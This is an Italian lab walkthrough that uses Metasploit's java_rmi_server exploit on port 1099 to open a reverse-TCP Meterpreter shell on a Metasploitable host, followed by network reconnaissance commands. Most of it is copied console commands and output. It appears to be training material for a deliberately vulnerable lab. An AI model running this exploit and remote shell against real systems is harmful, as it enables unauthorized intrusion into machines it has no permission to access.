

METASPLOIT E SFRUTTAMENTO DELLA VULNERABILITÀ JAVA_RMI

- IP Macchina Attaccante (Kali): 192.168.1.111
- IP Macchina Target (Metasploitable): 192.168.1.112
- Servizio vulnerabile: Java_RMI (porta 1099)

```
(kali㉿kali)-[~]
$ msfconsole

METASPLOIT CYBER MISSILE COMMAND V5

#####
### / \ / \ / \ / \ ##### / \ / \ / \ / \ ###
### #####
#####
###
# WAVE 5 ##### SCORE 31337 ##### HIGH FFFFFFFF
F #
#####
##### https://metasploit
.com

=[ metasploit v6.1.39-dev ]
+ -- ==[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- ==[ 616 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Adapter names can be used for IP params
set LHOST eth0

msf6 > search java_rmi

Matching Modules

# Name Disclosure Date Rank
Check Description
- - - - -
0 auxiliary/gather/java_rmi_registry normal
No Java RMI Registry Interfaces Enumeration
1 exploit/multi/misc/java_rmi_server 2011-10-15 excell
ent Yes Java RMI Server Insecure Default Configuration Java Code Executio
n
2 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal
No Java RMI Server Insecure Endpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excell
ent No Java RMIClientConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exp
loit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
```

1. Per prima cosa bisogna avviare Metasploit tramite il comando “msfconsole”.
2. Si procede con il ricercare l’exploit con la vulnerabilità che ci interessa, scrivendo “search java_rmi”.
3. L’exploit di nostro interesse è “exploit/multi/misc/java_rmi_server” che andiamo ad inserire dopo il comando “use” per poterlo utilizzare. Non è necessario poi scegliere un payload poiché quello di nostro interesse è già selezionato di default.

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.112
rhosts => 192.168.1.112
msf6 exploit(multi/misc/java_rmi_server) > show options
Home
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.1.112	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.1.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Generic (Java Payload)

```

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.1.111:4444
[*] 192.168.1.112:1099 - Using URL: http://192.168.1.111:8080/LE0Su73
[*] 192.168.1.112:1099 - Server started.
[*] 192.168.1.112:1099 - Sending RMI Header ...
[*] 192.168.1.112:1099 - Sending RMI Call ...
[*] 192.168.1.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.1.112
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.112:50043 )
at 2022-09-02 08:29:28 -0400
```

4. Si va ad impostare l'indirizzo IP della macchina target, tramite il comando "set rhosts 192.168.1.112" e osserviamo se l'inserimento è andato a buon fine con il comando "show options".
5. Ora si può lanciare l'attacco in modo da permetterci di stabilire una connessione tra le due macchine, consentendoci di usare la Shell di Meterpreter.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe7d:8314
IPv6 Netmask : ::

meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > route

IPv4 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----          -
  127.0.0.1       255.0.0.0         0.0.0.0
  192.168.1.112   255.255.255.0     0.0.0.0

IPv6 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----          -
  ::1              ::               ::
  fe80::a00:27ff:fe7d:8314  ::               ::

meterpreter > █
```

6. Andiamo finalmente a ricavare più informazioni possibili, in particolare sulla configurazione di rete e la tabella di routing, andando ad eseguire i seguenti comandi:
 - "ifconfig";
 - "sysinfo";
 - "route".